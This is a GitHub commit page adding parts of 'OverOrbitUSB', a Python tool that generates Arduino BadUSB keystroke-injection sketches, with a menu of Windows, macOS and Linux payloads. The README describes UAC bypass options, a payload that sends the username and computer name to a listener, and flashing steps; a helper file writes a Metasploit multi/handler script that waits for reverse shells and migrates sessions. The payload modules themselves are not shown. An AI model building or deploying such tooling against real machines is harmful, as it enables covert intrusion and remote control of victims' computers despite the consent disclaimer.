-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
7d66e29
commit 03160f3
Showing
8 changed files
with
2,892 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,50 @@ | ||
#!/usr/bin/python | ||
#uses HID-Project.h from https://github.com/NicoHood/HID, can be installed from Arduino Library Manager | ||
|
||
import sys | ||
import argparse | ||
import os | ||
import subprocess | ||
import coreUtils | ||
import winCore | ||
import nixCore | ||
import osxCore | ||
import helperCore | ||
import nfoCore | ||
|
||
def mainMenu(): | ||
|
||
menu = {} | ||
menu['0']="Info" | ||
menu['1']="Windows Payloads" | ||
menu['2']="OSX Payloads" | ||
menu['3']="Linux Payloads" | ||
menu['4']="Helper/Listener Functions" | ||
menu['99']="Exit" | ||
|
||
while True: | ||
coreUtils.bannerMain() | ||
options=menu.keys() | ||
options.sort(key=int) | ||
for entry in options: | ||
print entry, menu[entry] | ||
|
||
selection=raw_input("\nPlease Select: ") | ||
if selection =='1': | ||
winCore.WinMenu() | ||
elif selection == '2': | ||
osxCore.osxMenu() | ||
elif selection == '3': | ||
nixCore.LinuxMenu() | ||
elif selection == '4': | ||
helperCore.helperMenu() | ||
elif selection == '0': | ||
nfoCore.generalInfo() | ||
elif selection == '99': | ||
break | ||
else: | ||
print "\n\n***That is not a valid option!***\n\n" | ||
|
||
|
||
if __name__ == "__main__": | ||
mainMenu() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,47 @@ | ||
# OverOrbitUSB | ||
"I am an ordinary human who tries to see from the glasses of universality." -Chandra Orbit. | ||
|
||
###General Info | ||
OverOrbitUSB is a tool to generate sketches for Arduinos when used as an HID Attack. It was designed around devices with the ATMEGA32U4 chip, like the CJMCU-BEETLE, or the new LilyGo "BadUSB" devices popping up on ebay and aliexpress that look like USB sticks but contain an Arduino. I wrote this because the few other tools out there that do similar don't have as many customization options like the UAC Bypass options or the notification bubble options. I wanted to create something that could quickly generate a custom payload and that did not require anything extra to be install beyond the standard Python libraries and the Arduino IDE. I also wrote this to get better at Python. This is my first release of anything, so expect problems. | ||
|
||
###Requirements | ||
- An Arduino that supports keyboard emulation | ||
- Python 2.7 (Python 3 version in the process) | ||
- Arduino IDE: https://www.arduino.cc/en/Main/Software | ||
- NicoHood's HID: https://github.com/NicoHood/HID/ (This can be installed straight from the Arduino IDE from the menu: Sketch->.Include Library->manage Libraries and search for "HID-Project") | ||
|
||
###Use | ||
1. start by launching OverOrbitUSB.py | ||
2. Select the target's OS | ||
3. Select the specific payload | ||
4. Fill in the required settings | ||
5. Generate the .ino file | ||
6. Open the .ino file in the Arduino IDE | ||
7. Flash the sketch to your Arduino device | ||
|
||
###Notes | ||
|
||
1. After flashing the payload, the Arduino IDE will disconnect the Arduino, then it will automatically reconnect, and deliver the payload. Be ready for characters to suddenly be typed to the screen; I recommend having notepad or similar open and focused when you flash the sketch | ||
2. OverOrbitUSB currently drops the .ino file and the Metasploit .rc file in the working directory, so look for them there. | ||
3. For the UAC Bypass techniques, timing is key. Older devices will open the Terminal with Admin rights at a slower speed, and therefore you may need to adjust the delay() in the BypassUAC functions in the sketch | ||
4. This is just the beginning. Many more payloads, features, options and additions are coming. | ||
5. Please contribute if you have something to add. | ||
|
||
##Disclaimer | ||
Don't do anything illegal with this. | ||
Usage of OverOrbitUSB for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, provincial/state and federal laws. Developer assume NO liability and are NOT responsible for any misuse or damage caused by this program. | ||
|
||
"Don't be mean; we don't have to be mean, cuz, remember, no matter where you go, there you are." - Buckaroo Banzai | ||
|
||
##About me | ||
You can find me on : www.orbitsolusi.com | ||
|
||
##Thanks | ||
Thank you to my beautiful wife for putting up with my late nights while I worked on this, and her fantastic support she has always given me. | ||
|
||
###CHANGELOG | ||
|
||
v0.1 | ||
- Added new payload that grabs the username and computername and sends it to a listener | ||
- customization options to the notification bubble. | ||
- Initial commit |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,126 @@ | ||
#!/usr/bin/python | ||
#uses HID-Project.h from https://github.com/NicoHood/HID, can be installed from Arduino Library Manager | ||
|
||
import sys | ||
import argparse | ||
import os | ||
import subprocess | ||
import socket | ||
|
||
def bannerMain(): | ||
|
||
clearScreen() | ||
banner = " ****************************************************************************\n" | ||
banner += " * d8b d8 d8b *\n" | ||
banner += " * 888 8P8 d8P 888 *\n" | ||
banner += " * 88b d888888P 88b *\n" | ||
banner += " * d8888b 88bd88b 888888b 88b 888 888 d8P d888b 888888b *\n" | ||
banner += " * d8P 888 88P 88P 88b 88P 88P d88 88 88b 88P 88b *\n" | ||
banner += " * 88b d88 d88 d88 d88 d88 88b 888 d88 88b d88 d88 *\n" | ||
banner += " * 88888P d88 d888888P d88 88b 888P 88b 8888P d888888P *\n" | ||
banner += " * *\n" | ||
banner += " * ORBIT SOLUTIONS *\n" | ||
banner += " * www.orbitsolusi.com *\n" | ||
banner += " * *\n" | ||
banner += " ****************************************************************************\n" | ||
banner += "\n" | ||
banner += " \"CREATE EXPLOIT UNTUK HACKING VIA USB\"" | ||
banner += "\n" | ||
print banner | ||
|
||
def clear(): | ||
|
||
os.system('clear') | ||
|
||
def clearScreen(): | ||
|
||
if sys.platform == "linux" or sys.platform == "linux2" or sys.platform == "darwin": | ||
clear() | ||
elif sys.platform == "win32": | ||
cls() | ||
|
||
def cls(): | ||
os.system('cls') | ||
|
||
def msfRCfile(IP,port,payload, fileName): | ||
|
||
buffer = "use exploit/multi/handler\n" | ||
buffer += "set PAYLOAD " + payload + "\n" | ||
buffer += "set LHOST " + IP + "\n" | ||
buffer += "set LPORT " + port + "\n" | ||
buffer += "set ExitOnSession false\n" | ||
buffer += "set autorunscript migrate -f\n" | ||
buffer += "exploit -j -z\n" | ||
|
||
fileName = checkRC(fileName) | ||
file = open(fileName,'w') | ||
file.write(buffer) | ||
file.close() | ||
|
||
print "\n\nWrote Metasploit file " + fileName | ||
|
||
def checkIP(IPaddress): | ||
try: | ||
socket.inet_aton(IPaddress) | ||
return True | ||
except socket.error: | ||
return False | ||
|
||
def FileCheck(fileName): | ||
if os.path.exists(fileName): | ||
overwrite = raw_input ("File " + fileName+ " already exists. Overwrite? Y/N: ") | ||
if overwrite not in ('Y','y','yes','Yes','YES'): | ||
return True | ||
else: | ||
return False | ||
else: | ||
return False | ||
|
||
def checkINO(fileName): | ||
if not fileName.endswith('.ino'): | ||
fileName = fileName + ".ino" | ||
return fileName | ||
|
||
def checkRC(fileName): | ||
if not fileName.endswith('.rc'): | ||
fileName = fileName + ".rc" | ||
return fileName | ||
|
||
|
||
def getFileName(defaultFileName): | ||
|
||
fileExists = True | ||
while fileExists == True: | ||
fileName = raw_input("Please enter the name of the output file (if left blank the default \""+defaultFileName+"\"): ") | ||
if fileName == "": | ||
fileName = defaultFileName | ||
fileExists = FileCheck(fileName) | ||
fileName = checkINO(fileName) | ||
return fileName | ||
|
||
def getRCFileName(defaultFileName): | ||
|
||
fileExists = True | ||
while fileExists == True: | ||
fileName = raw_input("Please enter the name of the Metasploit RC file (if left blank the default \""+defaultFileName+"\"): ") | ||
if fileName == "": | ||
fileName = defaultFileName | ||
fileExists = FileCheck(fileName) | ||
fileName = checkRC(fileName) | ||
return fileName | ||
|
||
|
||
def getBinary(URL): | ||
binary = URL.split("/")[-1] | ||
return binary | ||
|
||
def checkQuotes(string): | ||
|
||
if string.startswith('-enc') or string.startswith('-Enc'): | ||
string = string.replace('"','') | ||
elif string.startswith('"') and string.endswith('"'): | ||
string = string.replace('"','\\\"') | ||
else: | ||
string = '\\\"' + string + '\\\"' | ||
return string | ||
|
Oops, something went wrong.